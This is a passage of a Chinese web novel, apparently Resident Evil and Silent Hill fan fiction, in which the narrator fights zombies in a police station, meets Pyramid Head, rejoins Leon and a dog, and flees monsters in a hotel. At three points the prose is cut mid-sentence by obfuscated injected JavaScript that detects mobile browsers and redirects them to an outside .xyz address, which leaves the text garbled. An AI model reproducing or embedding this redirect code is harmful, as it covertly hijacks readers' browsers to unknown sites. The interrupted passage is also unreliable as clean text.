在我推开遍布锈斑的门后,熟悉的接待室映入眼帘——大厅一片漆黑,和记忆中的不太相似。我没管那么多,只是加快步伐来到雕像前。 我愣住了,雕像下方没有小门,地盘上本该镶嵌着奖章的地方也空无一物。我站在原地转了一圈,环视着四周的景象,大厅内和记忆中的分毫不差,但唯独多一丝……破败,本该干净的地面上全是血迹和不知被什么东西划出来的印痕,临近门口的桌椅沙发被掀翻,雪白的女神雕像也变得灰蒙蒙、脏兮兮的,脑袋消失只留下半截脖颈。 究竟是怎么回事? 就目前来看,我不仅像是走进了传送门一样被扔到西侧走廊,与我同行的小狗和里昂也消失了。里昂有可能会抛弃我独自跑路,但小狗绝对不会,如果发现我没有跟上,一定会返回来找我。凭借它出色的嗅觉,定位到我不是什么难事。 难不成是里昂干掉了小狗,然后独自离开?这也不对,小狗没那么脆弱,里昂在它身上讨不到便宜。况且大厅里如今破败的模样明显不是片刻就能形成的,距离走进红门到再次回到这里,差不多只有不到五分钟的时间,电影里一场算不上激烈的枪战都没这么快,更别提将大厅毁成现在的这幅模样。 我抱着赌一把的心态俯下身子,曲起指节敲了敲底座,“有人吗?” “吼。” 有声音!虽然声音很奇怪,不像是人类可以发出的,我声音提高了一度,“是我,丽莎·王,里昂你们在里面吗?” “吼。” “能不能回个话,不要用这种奇怪的音调。” “吼……” 等等,这声音清晰无比,不像是隔着一层板子。我后知后觉,声音来处在我身旁。我偏了个头,与地上趴着的腐烂尸体对上视线。 “啊——!”我尖叫着跳了起来。 尸体竟然在动,左腿膝盖以下的部分消失不见,无法站立只能趴在地上爬。它一只手撑着地面,身体蠕动,另一只手企图抓我。 我一脚踩上那只手,手持撬棍往尸体头上砸。尸体腐烂的程度很高,没砸几下脑袋就彻底烂了,红白色的脑浆散落在地,小虫子们在脑袋碎裂的那一刻四下逃散。 太恶心了。我连忙拉开距离,捂住嘴移开视线,害怕再多看一眼就要吐出来。我将撬棍往地上敲了敲,稀碎的肉块和皮肤组织掉在地上,但仍有一些粘着甩不掉。我掏出手帕擦干净,然后把手帕扔到尸体旁边。 尸体带来的血腥和腐臭味在大厅里环绕,我找了个远离它的地方——在台阶上坐下。台阶表面也很脏,但管不了那么多了,我现在两腿发软。 我一片平复着激烈跳动的心脏,一边在脑海中梳理现状。 首先,里昂和小狗确实不见了,他们不一定抛弃了我,但我肯定是和他们走丢了。虽然不明白为什么,只能将所遇到的一切都归类为超自然现象,否则无法解释是如何做到仅靠一扇门便能跨越空间。其次,要想追上他们只能仿照里昂的方式,找齐三个奖章来打开雕像底座下的暗道。 我愁的头疼欲裂,手撑着脑门长长的叹了一口气。警察局这么大,去哪找……等等,几个回忆画面浮现在脑海中。之前我和小狗在到处乱跑的时候,好像看到过两座雕像,一座就在大厅的二楼,另一个西侧区域的二楼。在我看到的时候,它们身上都缺少了一个东西,空无一物的凹陷处是圆形的,可以和奖章形状对上! 就是这个!我一拍大腿。虽然剩下的那个不知道在哪,但是估计也不会太难找。 我起身朝楼上跑去,期间不可避免的又瞥见躺在女神雕像前的尸体。差点忘了还有最后一件要注意的问题,这里有怪物,需要时刻保持警惕。我握紧了手中的撬棍。 大厅二楼坐立着一座雄狮雕像,盾牌上镶嵌着一块圆形奖章,嵌的严丝合缝,撬棍也撬不动。我琢磨半天,才在左下方的底盘上发现了一个类似于密码锁的东西。我不知道密码,也无所谓,反正只有三位,我干脆用穷举法一点点试了出来。 奖章看起来很漂亮,花纹繁琐精致,被放入雕像底盘时,底座自动关下移,露出了半扇白色铁门。看来我猜的没错。 自成功了一次以后,我信心满满,决定离开大厅去探索那些位置领域。我相信哪怕仅凭借自己一人,也能成功…… 话说早了,这是我站在图书馆被腐烂尸体围绕时的脑子里冒出的想法。 眼前的尸体比大厅里遇到的那个更恐怖,它们没有四肢,断裂面的肉早已失去了鲜红色,被腐肉所代替。按理来说没有四肢活动受限,威胁性会大大减弱,可这仅限于数量少的情况。 我从交谊厅拿完奖章,打算通过图书馆回到大厅,刚打开门就被眼前的景象震撼到了。几十只人|彘尸体在听到开门声时,全都像饿死鬼投胎一样朝我的方向蠕动,嘴巴大张着企图隔空咬我。我被堵在角落里,打地鼠般来一个揍一个。这些尸体看上去一个比一个凶猛,嘴巴像订书机一样上下牙齿疯狂敲击,但都还挺脆的,轻轻松松一撬棍就爆了头。 直到两只胳膊都挥舞地发酸了,尸体们才都死光。我背靠着墙深深地吐了口气,休息片刻后才动身。撬棍上脏的要死我懒得擦,直接甩了甩然后抓着末端唯一一点干净的地方在地上拖行,地板上全是血,脚踩上发出啪嗒啪嗒的水声。 回到大厅将奖牌放到该放的位子后,我已经精疲力竭了。在精神病院里的时候大部分时候都不给乱跑,出院后所找的工作也是居家型,每天能走两步就算不错了,察局里这短暂的片刻差不多能抵得上我一个月的活动量。 我找了一处干净的地方蹲下,打算喘口气。大厅内安静如寂,偶尔有嘶吼声从楼顶传来……话说回来这些尸体都是什么,为什么浑身腐烂成这样还没死,甚至有的脑子都掉出来只靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988158|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一根神经连着还能自由活动。 想了很久后,我回忆起过去四年里接触过的一些影视作品。精神病院里虽然生活枯燥但并非所有乐趣都没有,每当到周五的时候护士长就会把所有病人聚集在稍大些的房间里,给大家播放电影。 其中有一部我印象特别深刻,好像叫……《丧尸围城》?应该是这个。当时看得时候没什么感觉,只觉得血腥恐怖,等到晚上关灯睡觉时,做了一场噩梦。 梦里的世界昏暗扭曲但异常真实。我在被丧尸追赶,与我同行的男人带着我逃命。楼道里除了我们精疲力竭的喘息,就是身后丧尸的嘶吼,男人让我不要回头,但是不间断的枪声暴露了事态严峻。 梦醒后我就犯了病,被强行注射镇定剂,绑在病床上两天两夜。在那之后,病院就不许该病人看这种过于刺激的影片了。 那段记忆应该是四年前,我刚失忆不久。其实大部分剧情都比较模糊了,只有那丧尸令人头皮发麻的吼叫声始终无法忘却。警察局里尸体发出的声音和记忆里的几乎一模一样,想来它们应该就是丧尸了。 我抱住脑袋沉沉地叹了口气。老天奶啊,这种东西不应该是虚构的吗,怎么会如此逼真的出现在现实中。 难道是梦?我狠狠地拧了自己胳膊一下,疼得我差点嗷嗷叫。看来不是。 时间不等人,在体力稍稍恢复后我就起身前往三楼。 在到达三楼的那一刻我很紧张,比之前两个楼层都要紧张数倍。我对这个楼层不熟悉,之前还没得及探索就被里昂揪回了暗房。 我双手紧抓撬棍,每一步都走的小心翼翼,生怕遇到丧尸扑脸。就我对丧尸浅显的了解来看,它是一种攻击力和伤害力皆成正比的恐怖存在。如果用游戏来做类比,那么普通的怪物需要好几口才能咬清血线,丧尸只需要一口,还能把对方变成自己的队友。简直恐怖如斯。 走廊明明不算长且宛如走了一个世纪,刚看到有门我就闪了进去。 一股霉灰味扑面而来,我被呛得咳嗽。这间房间好像是个杂物间,里面堆满了各种款七八糟的东西,柜子也是到处乱放。 我打着手电筒找了一通,总算在一个牢房样的区域看到了一坐金属雕像,材质和另两个奖章所在的雕像差不多。不过奇怪的是没有看到想要的东西,我伸着脖子观察好久,决定还是先进去探查一番。 “牢房”的门被好几条木板封的严丝合缝,层层叠叠。真不知道那雕像是金子做的还是银子做的,要这样防备。还有奖章,打开暗道的钥匙竟然是奖章而不是什么密码锁或者特殊钥匙,真是奇葩,这座警局的建造者是不是想象力过于丰富奈何工资性质问题无处发散,全都用在这种地方了。 我一边在嘴里念念叨叨地抱怨,一边用撬棍掰木条。我一条腿踩在铁栏上上,双手握着撬棍末端向后拉,几乎使出了吃奶的力气,只听哐的一声,一根木条掉下来了。总算弄下来一根,我也快掉了半条命。 接连掰了三根以后,我终于吃不消了,掌心被磨的通红,胳膊也快拽的脱臼。 我撑着墙面喘了好久。 这样不行,我用一些更快更加简单的方法,比如找把锯子或者炸药之类的。 5. 第 5 章 我离开了房间,准备去找一些比撬棍的破坏性还要高的东西。 刚走出房间,我就发觉有些不对劲。抬起头,天花板微微发颤,脚步声逐渐逼近,似乎有什么事物正在朝着这里走来。来者好像是四只脚,不对,六只……天呐,它到底有几只?! 我的警惕心瞬间提高,手紧握武器,眼睛紧盯着前方。震感来源逐渐变化为墙壁,然后是地面,我感受到脚底心微微发麻。 来者的体型不小,是我打不过的存在。我吞咽了一下唾沫,缓慢地向后退去。 我不敢发出太大的脚步声,以至于行动速度大幅减慢。那东西逐渐逼近道转弯处,另一侧窗户外月光照耀下,它的影子倒映在墙面上—— 四肢着地,人身圆首,嘴巴微微张开,能依稀看到里面尖锐的牙齿…… 这不是小狗吗? 我心里松了一口气,放下所有防备,迫不及待地跑了过去,“狗狗……” 不是小狗。我愣在原地,那是一个无法形容的怪东西,说怪物也不为过。浑身上下没有一丝皮肤,能直接看到裸露的肌肉组织,就像一只大号牛蛙,头部被大半个脑子所占局,眼睛全被挤没了。 好恶心。 我想跑,可那东西早就在我惊喜地喊着小狗时发现了我,直接一个虎扑将我按到在地,我在跌倒时将撬棍横在身前,卡在它的嘴里,双手抵在棍两边。 无论过了多久我都感谢自己此时此刻的反应能力,否则就被撕成碎片了。瞧瞧它的牙齿,锋利无比。 怪物的诞水从嘴角落下,滴落在我的脑袋边上。它大张着嘴巴,带有腐臭味的气息扑面而来,我被恶心地反胃,“呕。” 我没忍住干呕,可就是这么一呕,手上失了力,被怪物抓住了可乘之机,那张满是利齿的嘴越来越近,最后几乎罩住我整张脸。 它猛地合上嘴,我绝望的闭上了眼睛。 可想象中的濒死痛意没有到来,我将眼睛睁开一条缝,不曾想竟然看见它被一个带着三角头盔的人从我身上拽走,举在空中硬生生扯成了两半。 内脏肠子血呼淋啦的噼里啪啦全都掉在了地上,上半身在左下半身在右,分别被他抓在两只手里。 我看傻了眼。 三角头扔掉怪物尸体,迈开腿朝我走来。我想跑但是双腿无力,只能两手撑在地上往后挪。 “不……”我几乎在哭着求饶,“求求你……”他秒杀那样一个怪物,换成是我,岂不是一根指头就能捏死了。 他朝我伸出手—— 然后就只是伸出手。 我原本被吓的抱头瑟瑟发抖,见眼前人不动了,悄悄抬头,发现他掌心向上举在我的面前,看上去就像在讨要什么东西。那只手上全是血,估计是牛蛙怪物的。我有些不解,像偷看他的脸色猜测想法,却忘了他带着头盔,连根头发丝都瞧不见。 犹豫片刻,我从包里取出一次性湿巾,拆开后放在他掌心。他的手把湿巾衬得像糖纸,一张估计不够,我又拆了两包。我有点洁癖,每次外出挎包内都会备上手帕和大量湿巾。 三角头拿到湿巾以后便慢条斯理地开始擦拭粘在指尖的血迹。 奇了怪了,他怎么知道我有湿巾?还有,原来他也有洁癖。 在明白眼前的家伙对我没有杀意后,我整个人放松了很多,但腿仍然是软的。我换了个坐姿,真诚道:“谢谢。” 他没有反应。 我又说:“请问,你有没有看到两个人……一个人和一个异形怪物,我和他们走丢了。” 他还是没理我。 我也不生气,开始观察起他。我在照片上看过这个三角头,他的着装很奇怪,裙子不像裙子,裤子不像裤子,下半身衣物几乎拖在地面,他还穿着类似于围裙一样的东西,上面沾满了血迹,除此之外其他地方都很干净,我甚至怀疑他是单纯为了格挡飞溅的血液才在身前系了一块布。 和照片不同的是,亲眼所见压迫感更强,他身形壮硕宛如一座山,感觉一拳能把我锤死。 但看样子,似乎可以拜托他帮忙清理那些木条? 三角头终于把手擦干净了,这才转向我。正好此时我感觉腿部又有了力量,两手撑地站了起来。我问:“好人做到底,你能不能帮我一个忙?” 他好像在观察我,可惜我无法确定。 我伸手指了指就近的一扇门,“我想拿个东西,可它所在的牢笼门被木板钉死了,你能不能……” 话还剩一半在喉咙里没能出口,我感觉脖子一紧,他竟然抓着衣领将我拎了起来!身体悬空片刻,我被狠狠地砸在了走廊上放置的桌面上,屁股疼的要命。 还没等我反应过来,三角头两手握着我的脚踝,企图将我撕成两半,就像对待那个牛蛙怪物一样。 “你想干什么?!你他马想干什么?!”我发出震耳欲聋地鸣叫,对他的脑袋一阵乱打,撬棍撞击在头盔上叮叮叮,连挠痒痒都算不上,甚至连甲都没破。 “给我住手!”攻击不起作用,我只能尽全力怒吼。 没想到在我吼完之后,他真的不动了,僵在那里。我趁机翻身下桌,连滚带爬地跑了。 走廊尽头是一扇破旧的铁门,我伸出手用力推开,脸顿时被冰凉的雾气包裹,寒意遍布全身。我的脚步慢慢停了下来,震惊地看着眼前的景象。 是寂静岭小镇,而且天色大亮。浓浓的雾霭之中,太阳挂在天空不清晰,只能瞥见圆溜溜的一个。我回过头,却发现身后不是记忆中的警察局而是一座普通木屋……我捡到撬棍的地方。 我一边环视四周,一边来到马路上。雾气比记忆中的更浓了些,如果之前的是二十米开外不分男女,那么现在就是五米内人畜不分,虽然还没到伸手不见五指的程度,但也差不多了。我拿撬棍当盲棍,一点点探索着走。 马路空旷,几乎没有阻挡物,目前为止也没有碰到过会动的裹尸袋。但在警察局里的阴影仍然笼罩在心头,我无法掉以轻心。我一路摸索,从马路正中间来到周边的建筑物旁,直到触摸到结实的砖石手感时才松了一口气。我撑着墙壁继续走,沿路遇到了底下的井盖,有水弯弯曲曲的流淌进井盖的缝隙之中。水流的来源是不远处的一个水管,它贴在建筑物的侧边,另一头没入墙壁之中。 我一开始没有在意,但等走远后猛然醒悟。水管为什么会有水,因为有人在用水,那幢建筑里可能有人。 意识到这点的我惊喜万分,马不停蹄地返回了那幢建筑前。这是一个类似于写字楼的地方,我推着旋转门进入了楼内,处于正对着大门方向的地方前台桌子上放着一本登记册。我看了眼,最近的登记日期在十年前,名字米里斯·马丁森。 这里不会有十年都没人来过了吧。我本来持有怀疑,但当看到四周的破旧后信了几分。 大厅两侧分别有一扇门通向楼道,我选了左侧的楼道。我没敢直接进去,只探了个头。楼道内没有灯也没有窗户,一片漆黑,霉灰味特别严重,我只是不小心嗅了一下就被呛得直咳嗽,快速退了出去。 本来是打算来找有没有人的,现在我已经有点退缩了。就算有人,会出现在这个小镇的估计都不是什么好人,正常人哪会来这里。顺便一提,我确实不是正常人,但绝对是百分之百的好人。 于是我掉头就走去,没有丝毫留恋。 我继续在大雾中前行,刚走没一会就听到一声巨大的爆炸音,轰的一声震得我心脏发麻。车辆的警报声响起,此起彼伏,吵的人头疼。与此同时,不知道是不是错觉,雾气似乎散了一点,视野的变得宽阔起来。我正为此开心着呢,可很快就笑不出来了。 数以万计的裹尸袋出现在雾气中,或站或躺,站着的原地不动,躺着的则一点点向前弯曲再伸直的挪动。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988159|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “——” 听到声音我下意识回过头,看见一个像人的东西,长的像人却仍然留有野兽的痕迹,四肢发达,在雾气之中只能窥探到隐约的身形,手臂长而细,两腿肌肉饱满,像牛蛙。 我不可避免的回忆起警察局内那个差点夺走我性命的怪物,不管三七二十一,先下手为强,举着撬棍就打了过去。 对面发出一声惨叫:“噫!” 我这才看清对方是谁,惊喜道:“狗狗!” 小狗甩了甩脑袋,站在原地不动,好像被打懵了。我赶忙抱住它安抚,“对不起,我不知道是你。” 我摸了好一会它坚如钢铁的脑门,小狗这才缓过劲,开始蹭我撒娇。 “你这小东西,别乱跑!”里昂气喘吁吁地奔了过来,看到我后惊讶道:“你去哪了?” 小狗从我身边离开去他面前甩了甩尾巴,然后又跑了回来,继续窝在我的怀里。没想到我不在的时候,这两人竟然相处的不错。 我不知道该怎么形容那一段惊悚诡异的经历,干脆简而言之:“见鬼了。” 里昂:“什么?” 我本想观望窄门却误入了地狱门,可不是见鬼吗。 我没有再多纠结一系列的撞鬼事件,我意识到这个所谓的小镇确实像众人所说的那样是个闹鬼之地。不过先前我只以为像鬼屋那样单纯的吓人,没想到竟然如此凶险,再带下去说不定命都丢了,还治个鬼的病。 “有发现出去的路吗?”我问他。 里昂正在为重新遇见走丢的我而开心,听到这话情绪迅速转变,“很抱歉,没有。不过……” 他说:“小镇占地有限,我们朝一个方向一直走,总能出去。” . 这是一个笨方法,但和穷举法一样,虽笨但有用。 我们三个沿着正北方一直走,遇到挡路的建筑绕开后迅速回归原来的路线。其实我分不清东南西北,全靠里昂领路。他很厉害,不仅有很强的生存能力,而且从来不会迷路。 在路上,我看着他肩膀宽阔的背影,突然起了好奇心,“里昂。” 他头也不回,“怎么了?” “你之前说过和我的姐姐是老相识,那她是一个怎么样的人?”我追上他的步伐:“我自从失忆以后就没有当面见过她了,连相貌都不记得,只能通过信件上判断出一点喜好和说话习惯,其他的一概不知。” 说不定姐姐就是关键所在,一把打开锁住记忆大门的钥匙。 他似乎笑了一下,“你姐姐啊……很特别的一个人,如果说她冷酷无情,却总是心软,但如果说她心软,却又……” 我迫不及待:“什么?” “没什么。”他说了一半却不说了,令我极为恼火,他却笑了笑:“艾达是一个复杂的人,没有办法用三言两语描述。你是她的妹妹,以后有的是机会相处,到时候再慢慢了解也不迟。” 我也不好再多纠缠,“好吧,那你们是怎么认识的?” “是和你第一次见面的那天。”他耸了耸肩,“不是什么特别好的回忆,当时她对我有所隐瞒……就像刚才说的那样,她总是这样冷酷无情,但我却是真心实意爱着她的。” 原来如此,我若有所思地点了点头。等等,不对,爱?!我偏头看他,好巧不巧撞见他面色凝重,一副说漏嘴的懊悔模样。 我瞳孔地震,“你你你你……” 在脱口而出无数个你字后,我问:“你是我姐夫?” 他似乎没想到我会这么说,愣了好几秒,嘴巴张张合合好几次,才说:“不是。” 我眨巴了下眼睛。不是?那他一会说爱姐姐,又说姐姐冷酷无情……我恍然大悟,脑海里浮现出里昂像可怜的小狗一样被姐姐玩弄于鼓掌之中的画面。 天哪。里昂这么好一个人,为什么姐姐不喜欢他呢?我为他感到悲伤。 6. 第 6 章 在里昂的引领下我们离开了小镇,但却误入一个大型游乐园。雾气比之前稍淡一些但并非完全没有,变成一缕一缕地飘在四周,就像白云。 这个游乐园明显废弃已久,看不到人烟。我们本来是想绕行,但它的占地面积大,绕路还不如直接穿过去来的快。小狗最先翻过围栏,然后是我。这个围栏对我来说实在太高了,最上方还有一排渐次,里昂在下面托着我,指点我的手该抓哪,脚放在何处比较合适。 我好不容易躲过了尖刺,在翻到另一面时却不小心踩空,还以为要吃苦头呢,幸好小狗垫在下面,没什么事。 有游乐园那么就说明这里曾经繁荣过,居民安居乐业,有精力去享受生活。我仔细观察着,游乐园和我印象中的没什么区别,摩天轮、过山车、旋转木马等等一样不少,甚至还有主题酒店。 里昂在路过酒店的时候停住了脚步,“我去那里看看情况。” 估计是子弹用的差不多了,又打算去“搜刮”一番。我点了点头。 说来也挺怪,这一路上怪物确实不少,但物资丰盛,里昂随便跑一圈就能捡到子弹和奇奇怪怪的饮品。那些饮品我是绝对不敢喝的,眼睁睁看着里昂灌下一罐又一罐,最后渴的实在受不住了才要了一口润润嗓子。 “你要和我一起吗?”他问我。 我看了一眼酒店入口的旋转大门,没有丝毫犹豫:“不要。” “好,那你在这里等我。” 他正要走入酒店,我却叫住了他。“带上它吧。”我拍了拍小狗的脑袋,它有些不情愿地哼哼。 “没事,你需要它,况且它更愿意和你在一起。”里昂说。 我却坚持让小狗和里昂一起行动,原因无他,游乐园这一片里昂都检查过了,没发现什么危险的怪物,就算有也都被他一枪爆了头,但酒店里情况复杂,不知道会遇到什么,有小狗在多个保障。 小狗拗不过我,只得一步三回头的跟着走了。 走了这么久两腿发酸,我找了一处墙角,被靠着墙壁蹲下休息。虽说休息,撬棍一刻也没有离开手过。 阳光透过薄雾照在我的身上暖洋洋的,我不自觉有些犯困。我已经一天一夜没有合过眼了,精神高度紧绷,如今稍稍感受点舒坦,疲惫就如同洪水一般涌了上来。 我有些后悔,要是小狗在身边就好了,这样我可以肆无忌惮的睡觉。转念一想,还是里昂的安慰比较重要。我打了个哈气,然后给了自己一巴掌,继续强撑。 等里昂出来以后,和他商量一下还是找个安全的地方暂时修整吧。他的身体素质强悍,又跑又跳的还不睡觉一丁点事都没有,我可不行。 我眼皮像是磁铁一样时不时贴近一下,又被我强行分开。就这样,上下眼皮分分合合好几次,我心里想着干脆就这样睡过去吧。 “咯咯咯……”熟悉的传入耳朵,我猛地瞪大双眼。 就在不远处,一个裹尸袋缓缓地蠕动着,它没有发现我,只是像逛大街一样散步。我不知道它有没有同伙不敢轻举妄动,握着撬棍的手紧紧了,后背向墙更贴近了一些…… 有些不对,墙面怎么这么平整,应该凹凸不平才对。我转过头,看到了一扇红门。 我瞳孔猛缩,正想起身却没想到红门就在此时开了,而我把门当墙靠着,全身的重量都放在上面。这样一来,我后仰着倒去。 “不!”我向前伸出手,企图抓住什么东西。我的前方一片空白,能看到的物体只有不远处的裹尸袋,而它似乎听见了我的声音,开始朝这里移动。 我两手抓了个空,身体失去平衡,彻底落入了门里。 . 恢复意识的时候,我以为自己瞎了……瞎到算不上,我差点以为自己得了色盲,我还在游乐园但是四周的景色全是黑白的。要不是我低头时看见了自己五彩斑斓的衣服,怕不是要信以为真。 我走向最近的一颗树,将手放了上去。树干凹凸不平,树皮粗糙,手拿下来后指腹上还沾有树皮碎屑。我掸了掸手,开始找人。 不出所料,找了好半天也没有见着里昂和小狗。 我坐在长椅上思考,上一次我也是进了红门以后才发生一系列的怪事,而且除了我以外的人都会消失不见。这次估计也一样,所以稍稍推理一下,只有找到那扇红门就能解决难题。但问题是刚刚绕了那么大一圈下来,并没有看到什么红门……掉红漆的木门到是有,但那只是一扇普通的门而已,不是我要找的。 不过,确实有一个地方还没有涉足过。我抬头看向不远处的主题酒店,原本它阴森森的,如今在只有黑白两色的衬托下这种感觉更甚。酒店一共有三层,最上面一层的玻璃全都碎裂,不像其他楼层一样在太阳的照耀下反着光。 撬棍敲了敲地面,我思索很久后,还是迈开步伐走了进去。 我没怎么住过酒店,因为不常旅游也没有机会旅游,像这种度假主题酒店都是从报纸以及电视上了解的,印象里应该挺漂亮的,但真的当我走进去时,发现里面并不如我想象中那样。 前方是一条通道,通道两侧种满了漂亮的鲜花,鲜花全都长着笑脸,随着一个频率缓慢的摇摆。花上的脸各不相同,有老有少,有男有女。 灯光按照三原色反复变化,将花瓣衬成不同的颜色,蓝色灯光花瓣就是紫色,黄色灯光花瓣就是橙色,红色的光……依然是红的。 在我路过的时候,我发现花朵脸的方向变了,它们原本是面向门口方向的。我又走了几步,发现它们的站姿根据我的走动变化。 通道最前方是一扇带锁的门,我弯腰观察了一下,发现是一把五位密码锁。密码锁这种东西我可不怕,不就是穷举法吗,一个个试就好了。 我半蹲下来,开始从00000实验,然后是00001、00002…… 期间我发现灯光的变化似乎快了一些,以往从蓝变到黄再变到红差不多要一分钟左右,如今却只需要三十秒。这令我感觉有些不适,特别是颜色的反复变换有一种精神污染的错觉。 我按了按太阳穴保持清醒,继续尝试。 灯光越来越快,越来越快,几乎是闪光,最后黄色几乎消失,只剩下红蓝两个最刺激的颜色反复交替。幸亏我没有光敏性癫痫,否则得当场交代在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988160|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 突然,灯光消失了,室内漆黑一片。我看不到锁,疑惑地抬起头。光很快就来了,红黄蓝三原色同时出现,花瓣的颜色成了黑色,与黑暗融为一体,而花朵脸蛋则一本正经,不再笑嘻嘻。 我没有放在心上正打算会有继续折腾锁,花朵们的眼睛却忽然流出了红色眼泪,顺着脸颊流淌,下方的泥土松动,一张张与花朵脸相同的脸庞从土里钻了出来,区别是有着头发,和真人一样……起初我是这样的认为的,但只有脑袋是属于人类,身体宛如没有四肢的大白猪,白白胖胖,脖颈处有着褶皱,行动时身躯曲起又伸直,褶皱出现又消失…… 大肉虫,长着人头的白色大肉虫,一起朝着我涌来。 我瞬间头皮发麻。我最讨厌虫子了! 它们行动缓慢,但却不停歇,与我的距离越来越短。我正在解锁的双手发抖,该死的穷举法,20014是错的,20015还是错的……该死的穷举法,怎么还不对! 我的膝盖发软,眼看最近的那只就要贴到我的背后了,只听咔哒一声。锁开了! 谢天谢地,感谢上帝也感谢我自己,我用这辈子都想象不到的速度飞快打开大门,然后用力摔上,顺便拉上门闩。我站在门后喘着气,汗水将背后浸湿,我却一直到现在才发现。 砰!门被撞击,我刚放下的一颗心在再次提起,那群恶心的家伙在破门!我扭头就跑,得赶快找到出去的办法。 红门到底在哪里! . 楼梯是盘旋直上的,中心中空,能够直接看到最下方的景色。我探了个脑袋,在最底层,一群长着人脸的虫子一扭一扭的向上楼梯,可惜这些台阶的高度不小,就算是我也得迈大步子顺带手脚并用。它们身体笨拙很快就吃了苦头,最前方的人脸虫们整齐地摔倒在地,左扭右扭想要站起来,还不等它们起身,后一排的人脸虫们就挤了上来,借着前面家伙的身体成功上了第一级台阶,而被压在下面的倒霉蛋受不住身上的重量竟然爆开了。 我几乎能听见那汁水飞溅的声音——啪叽!绿色的液体溅地到处都是,其他人脸虫的身上也沾了不少。 它们的速度缓慢,这对我来说是一件好事。我抽回视线不再关注它们,继续专心爬楼梯。 很快我就到达了平面,这里是二楼。 比起一楼晃人眼睛的五光十色,这里寡淡至极,无论是墙壁还是地面、天花板全都是纯白色的,而且是一条很长的,尽头封死的楼道,两边分别有四扇门。 门上挂有门牌号,我依次打开门检查,从201到208都看了一遍。门内的房间布局也很简单,而且都差不多,唯独202房间原本有窗户的地方改为了一扇门,门上挂着一把锁。这次不是密码锁,而是钥匙锁了。 我烦躁地挠了挠头发,大致明白什么意思了,是让我找钥匙。这个地方还真是莫名其妙。我在心里抱怨但是身体实诚地开始行动起来,要是不及时出去,就会被那些人脸虫抓到。 回忆起那些东西柔软饱满且富有弹性的身躯,我就浑身起鸡皮疙瘩。 我最讨厌虫子了,这是我第二次重复这句话。 7. 第 7 章 我在207号房的衣柜里发现了一个没有五官塑料假人,是那种商场里常见的模特假人,蜷缩在衣柜角落里。 它的脖子上挂着一把钥匙,我很是惊喜,没想到这么快就找到了想要的东西,伸出手打算取下钥匙。 假人却在这时候动了,一把握住我伸向它脖子的手,然后缓缓抬起头。 我连忙抽回手。它施加在我手腕上的力气很小,只是轻轻搭着,但尽管如此我还是心里发毛,一连后退的了好几步。 假人弯腰从柜子里钻了出来,站在白色的水泥地板上。它将手搭在平坦的胸口,微微上划,指尖抵住钥匙的尖锐的底端,另一只抬起向前伸直五指摊开。 见我不动,假人歪了歪脑袋,朝我靠近,我连忙后退。见我如此,假人停下了脚步,却始终保持着刚才的姿势。 我想用撬棍揍它,直接抢走钥匙。但这里很古怪,我不确定自己能不能打得过,要是它和一楼的那些人脸虫有关联,我一棍子夯下去它当即召唤人脸虫们那可就完蛋了。我开始尝试与假人沟通,虽然不知道它有没有自己的意识,“我想要那把钥匙。” 假人幅度很小的低了个头。 “对,就是你脖子上的那把钥匙。”我说,“能给我吗,求求了,我很需要这个东西。” 它在保持低头的动作很久后,似乎终于理解了我的话,微微点了个头。 我惊喜:“真的吗?” 假人将钥匙从脖子上取下,却没有给我,而是指尖捏着系在上面绳子举在身侧,另一只手仍然朝我手掌向上摊开。 这是什么意思? 我不太理解,但还是打算赌一把,小心翼翼地触碰那只塑料手。触感有些凉,塑料制品特有的质感,光滑之中带了点粗糙。 它猛地反手攥住,向后一拉,我失去了平衡,被揽紧腰强行腰带进柜子中。 “你干什么?!”我疯狂的挣扎起来,想要用撬棍攻击但柜子里空间太小根本施展不开,完完全全的被压制住。 随着门被撞开的声音,我被捂住了嘴。通过柜子两扇门之间的缝隙,我看到一只人脸虫慢悠悠地蠕动了进来,它在房里环视了一圈,然后来到柜子前。 我的心砰砰直跳。 人脸虫属于人的眼睛贴近柜门的缝隙见,眼珠旋转了一圈。 过了一会,它直起身,慢吞吞地离开了。 假人放开了捂着我嘴的手,我吸了一大口空气,胸前起伏剧烈。此时我才发现自己以着一个极其怪异的姿势躺在假人怀里,脸庞贴在它的颈侧,而它的胳膊环住我,手掐着我的腰。 它救了我,为什么,它们不是同伙吗? 我小声道:“谢谢……” “钥匙。”我隐晦地提醒它。钥匙绳子还勾在它的手指上,那只手越过我的后背按在柜子侧边,钥匙晃晃悠悠的悬挂在空中。 见它没有反应,我伸手一把将钥匙扯了下来,然后一脚踹开柜门跑了出去。 我奔向202号房,沿途路过的房门全都从内侧打开,人脸虫们爬来出来,目不斜视地跟上我。我推开房门,取出钥匙开锁。 